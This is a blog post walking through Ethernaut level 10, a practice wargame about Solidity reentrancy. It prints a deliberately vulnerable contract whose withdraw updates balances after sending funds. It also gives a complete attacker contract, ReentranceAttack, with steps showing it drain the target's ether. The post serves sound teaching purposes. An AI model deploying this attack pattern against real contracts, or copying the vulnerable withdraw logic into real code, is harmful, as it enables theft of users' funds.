DEV Community

Cover image for Ethernaut Hacks Level 10: Re-entrancy
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 10: Re-entrancy

This is the level 10 of Ethernaut game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
Enter fullscreen mode Exit fullscreen mode

player has to steal all of the contract's funds.

To those interested, the Re-entrancy attack was responsible for the infamous DAO hack of 2016 which shook the whole Ethereum community. $60 million dollars of funds were stolen. Later, Ethereum blockchain was hard forked to restore stolen funds, but not all parties consented to decision. That led to splitting of network into distinct chains - Ethereum and Ethereum Classic.

First let's see amount stored in Reentrace:

await getBalance(contract.address)

// Output: '0.001'
Enter fullscreen mode Exit fullscreen mode

which is 0.001 ether or 1000000000000000 wei.

We're going to attack Reentrance with our written contract ReentranceAttack. Deploy it with target contract (Reentrance) address:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint targetValue = 1000000000000000;

    constructor(address _targetAddr) public {
        targetContract = IReentrance(_targetAddr);
        owner = msg.sender;
    }

    function balance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate.value(msg.value)(address(this));
        targetContract.withdraw(msg.value);
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner, "my money!!");
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call.value(totalBalance)("");
        require(sent, "Failed to send Ether");
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Now call donateAndWithdraw of ReentranceAttack with value of 1000000000000000 (0.001 ether) and chain reaction starts:

  • First targetContract.donate.value(msg.value)(address(this)) causes the balances[msg.sender] of Reentrance to set to sent amount. donate of Reentrance finishes it's execution
  • Immediately after, targetContract.withdraw(msg.value) invokes withdraw of Reentrance, which sends the same donated amount back to ReentranceAttack.
  • receive of ReentranceAttack is invoked. Note that withdraw hasn't finished execution yet! So still balances[msg.sender] is equal to initially donated amount. Now we call withdraw of ReentranceAttack again in receive.
  • Second invocation of withdraw executes and it's passes the require statement this time again! So, it sends the msg.sender (ReentranceAttack address) that amount again!
  • Simple arithmetic plays out and recursive execution is halted only when balance of Reentrance is reduced to 0.

And for the final blow withdraw stolen amount currently stored in ReentranceAttack to player address by calling withdrawAll.

Verify by checking Reentrance's balance:

await getBalance(contract.address)

// Output: '0'
Enter fullscreen mode Exit fullscreen mode

Hacked!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)